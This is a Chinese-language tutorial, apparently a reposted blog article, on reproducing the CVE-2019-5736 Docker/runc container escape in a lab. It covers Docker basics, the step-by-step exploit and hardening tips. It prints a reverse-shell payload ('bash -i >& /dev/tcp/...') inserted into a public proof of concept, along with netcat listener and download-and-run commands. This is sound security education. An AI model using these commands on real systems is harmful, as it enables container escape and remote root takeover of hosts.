CVE-2019-5736 Docker逃逸
Docker是什么?
Docker 是一個(gè)開(kāi)源的應(yīng)用容器引擎,讓開(kāi)發(fā)者可以打包他們的應(yīng)用以及依賴包到一個(gè)可移植的容器中,然后發(fā)布到任何流行的Linux或Windows操作系統(tǒng)的機(jī)器上,也可以實(shí)現(xiàn)虛擬化,容器是完全使用沙箱機(jī)制,相互之間不會(huì)有任何接口
Docker環(huán)境和普通生產(chǎn)環(huán)境的差異在哪呢?舉個(gè)列子,在普通的生產(chǎn)環(huán)境中,我們程序員寫的代碼產(chǎn)品在開(kāi)發(fā)環(huán)境中能夠運(yùn)行起來(lái),但卻在測(cè)試環(huán)境中很容易出現(xiàn)各種的Bug,報(bào)錯(cuò),這是因?yàn)閮蓚€(gè)環(huán)境中機(jī)器的配置和環(huán)境不一樣所導(dǎo)致的
而Docker的出現(xiàn)解決了這一差異性的問(wèn)題
在舉一個(gè)列子,平時(shí)我們?cè)谧鲩_(kāi)發(fā)項(xiàng)目的時(shí)候,需要去配置一大堆的環(huán)境依賴,而當(dāng)我們需要將項(xiàng)目遷移到其他主機(jī)或者平臺(tái)的時(shí)候,那是不是也要將一大堆的配置環(huán)境依賴同樣進(jìn)行遷移,顯得相當(dāng)?shù)穆闊?/p>
像平時(shí)我們?cè)谏a(chǎn)環(huán)境中,會(huì)去做集群,負(fù)載均衡,來(lái)讓多臺(tái)服務(wù)器共同承擔(dān)一個(gè)責(zé)任,分?jǐn)傇L問(wèn)流量的壓力,當(dāng)我們部署好一臺(tái)服務(wù)器時(shí),你還需要更多一摸一樣的服務(wù)器,這個(gè)時(shí)候,你應(yīng)該怎么辦呢?是不是得將環(huán)境依賴什么的從頭到尾重新安裝一遍,是不是會(huì)非常麻煩
所以歸根結(jié)底,突出兩個(gè)問(wèn)題,一是環(huán)境一致性的問(wèn)題,二是重復(fù)配置,浪費(fèi)時(shí)間的問(wèn)題,所以Docker的出現(xiàn)解決了這兩個(gè)問(wèn)題
你可以把Docker理解成一個(gè)鏡像,當(dāng)我們需要在其他服務(wù)器上配置相同的項(xiàng)目環(huán)境時(shí)
我們使用Docker相當(dāng)于復(fù)制了一個(gè)環(huán)境過(guò)去,極大解決了硬件環(huán)境所造成的環(huán)境差異性的問(wèn)題和需要重復(fù)配置環(huán)境的問(wèn)題
那我們Docker的概念是不是和虛擬機(jī)有些相同?那Docker和虛擬機(jī)的差異又在哪呢?
虛擬機(jī)和Docker的對(duì)比:
特性 | 虛擬機(jī) | 容器 |
---|---|---|
啟動(dòng) | 分鐘級(jí) | 秒級(jí) |
部署創(chuàng)建速度 | 慢 | 快 |
硬盤使用 | 一般為GB | 一般為MB |
性能 | 弱于原生系統(tǒng),和監(jiān)視器交互 | 接近原生系統(tǒng),和內(nèi)核交互 |
資源利用率 | 一般幾十個(gè) | 單機(jī)支持上千各容器 |
隔離性 | 系統(tǒng)級(jí)別隔離,更強(qiáng) | 進(jìn)程之間的隔離,弱 |
安全性 | 強(qiáng) | 弱 |
容器技術(shù)發(fā)展歷史:
Docker使用場(chǎng)景:
1、實(shí)現(xiàn)快速部署(鏡像),例:vulhub.org
2、解決環(huán)境一致性的問(wèn)題,例:部署應(yīng)用
3、提升服務(wù)器的利用率,降低成本,例:安裝服務(wù)
4、隔離不同的應(yīng)用
Docker的組成
Docker組成:
核心概念:
- 鏡像Image:打包好的應(yīng)用環(huán)境,模板,不能修改,列:Nginx、Tomcat、MySQL、桃寶商城、Ubuntu鏡像
- 容器Container:鏡像+讀寫層,有狀態(tài):運(yùn)行、暫停、停止
- 倉(cāng)庫(kù)Registry:存放各種鏡像,提供上傳和下載,官方倉(cāng)庫(kù):https://hub.docker.com
復(fù)現(xiàn)環(huán)境搭建說(shuō)明
什么叫Docker逃逸?
Docker容器相當(dāng)于一個(gè)小型的Linux操作系統(tǒng),有自己磁盤、網(wǎng)絡(luò)、進(jìn)程、用戶體系,而Docker逃逸就是我們由Docker權(quán)限獲得到主機(jī)root權(quán)限的過(guò)程,簡(jiǎn)單來(lái)說(shuō)就是從Docker的權(quán)限得到了部署Docker環(huán)境的主機(jī)的權(quán)限
Docker逃逸原因類型
1、由操作系統(tǒng)內(nèi)核漏洞引起:CVE-2016-5195(臟牛)
2、由Docker本身的漏洞引起:CVE-2019-5736、CVE- 2019-14271
3、由Docker配置和使用不當(dāng)引起
(1)開(kāi)啟privileged(特權(quán)模式)
(2)宿主機(jī)目錄掛載(文件掛載)
(3)docket remote api未授權(quán)訪問(wèn)導(dǎo)致逃逸
參考鏈接:淺析docker的多種逃逸方法
CVE-2019-5736 環(huán)境搭建
漏洞條件:
root運(yùn)行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6
現(xiàn)成靶機(jī)下載
鏈接:https://pan.baidu.com/s/19uXXlyAUUJLX4wJcwEAUgw?pwd=8888
靶機(jī)密碼:123456 兩個(gè)賬戶都是
Docker逃逸演示
復(fù)現(xiàn)環(huán)境
機(jī)器名 | IP |
---|---|
kali | 192.168.142.128 |
centos | 192.168.142.166 |
Kali機(jī)器開(kāi)啟監(jiān)聽(tīng)
nc -lvnp 7777
靶機(jī)查看版本
docker -v
docker-runc -v
啟動(dòng)Docker服務(wù)(這一步需要輸入密碼123456)
service docker start
運(yùn)行一個(gè)容器
docker run -it ubuntu:18.04 "/bin/bash"
下載編譯利用腳本
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd /home/kali/桌面/CVE-2019-5736-PoC-master
編輯POC文件
vim main.go
加入反彈shell的命令
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.128/7777 0>&1" + shellCmd
修改腳本編譯腳本
首先安裝go編譯環(huán)境
yum install epel-release
yum install golang
編譯poc
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
kali機(jī)器開(kāi)啟HTTP服務(wù)
python -m http.server 7987
centos機(jī)器下載poc
curl -O http://192.168.142.128/main
如圖我們已經(jīng)成功的向Docker的主機(jī)上傳了Poc文件
然后由于我們要做的是容器逃逸,所以POC需要運(yùn)行在容器環(huán)境中,所以我們需要將main.go文件拷貝到Docker環(huán)境中
查看容器
docker container ls -a
啟動(dòng)容器
docker start 501c
容器拷貝poc
docker cp ./main 501c:/home
進(jìn)入Docker bash
docker exec -it 501c /bin/sh
cd /home
ls
在容器中執(zhí)行poc
chmod 777 main
./main
centos以root身份再次進(jìn)入Docker
docker exec -it 501c /bin/bash
docker容器執(zhí)行反彈shell命令
kali機(jī)器收到監(jiān)聽(tīng)會(huì)話
原理分析
在runc exec加入到容器的命名空間之后(runc運(yùn)行原理),容器內(nèi)進(jìn)程已經(jīng)能夠通過(guò)內(nèi)部/proc(虛擬文件系統(tǒng))觀察到它,此時(shí)如果打開(kāi)/proc/[runc-PID]/exe并寫入一些內(nèi)容,就能夠?qū)崿F(xiàn)將宿主機(jī)上的runc二進(jìn)制程序覆蓋。
下一次用戶調(diào)用runc去執(zhí)行命令時(shí),實(shí)際執(zhí)行的將是攻擊者放置的指令。
總結(jié):篡改了系統(tǒng)的runc文件,在其中加入惡意代碼,在下一次run exec的時(shí)候?qū)е聬阂獯a執(zhí)行
Docker安全加固
Docker安全檢測(cè)
自動(dòng)化利用工具:https://github.com/cdk-team/CDK
這個(gè)工具可以檢測(cè)Docker容器和K8S集群的一些漏洞
Docker加固建議
1、升級(jí)Docker到最新版
2、升級(jí)Linux內(nèi)核
3、不建議以root權(quán)限運(yùn)行Docker服務(wù)
4、不建議以privileged(特權(quán)模式)啟動(dòng)Docker
5、不建議將宿主機(jī)目錄掛載至容器目錄
6、不建議將容器以–cap-add=SYSADMIN啟動(dòng),SYSADMIN意為container進(jìn)程允許執(zhí)行mount、umount等一系列系統(tǒng)管理操作,存在容器逃逸風(fēng)險(xiǎn)文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-517095.html
參考資料:https://mp.weixin.qq.com/s/R5DV0X3QpYmaxVxIexRYgA
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-517095.html
到了這里,關(guān)于CVE漏洞復(fù)現(xiàn)-CVE-2019-5736 Docker逃逸的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!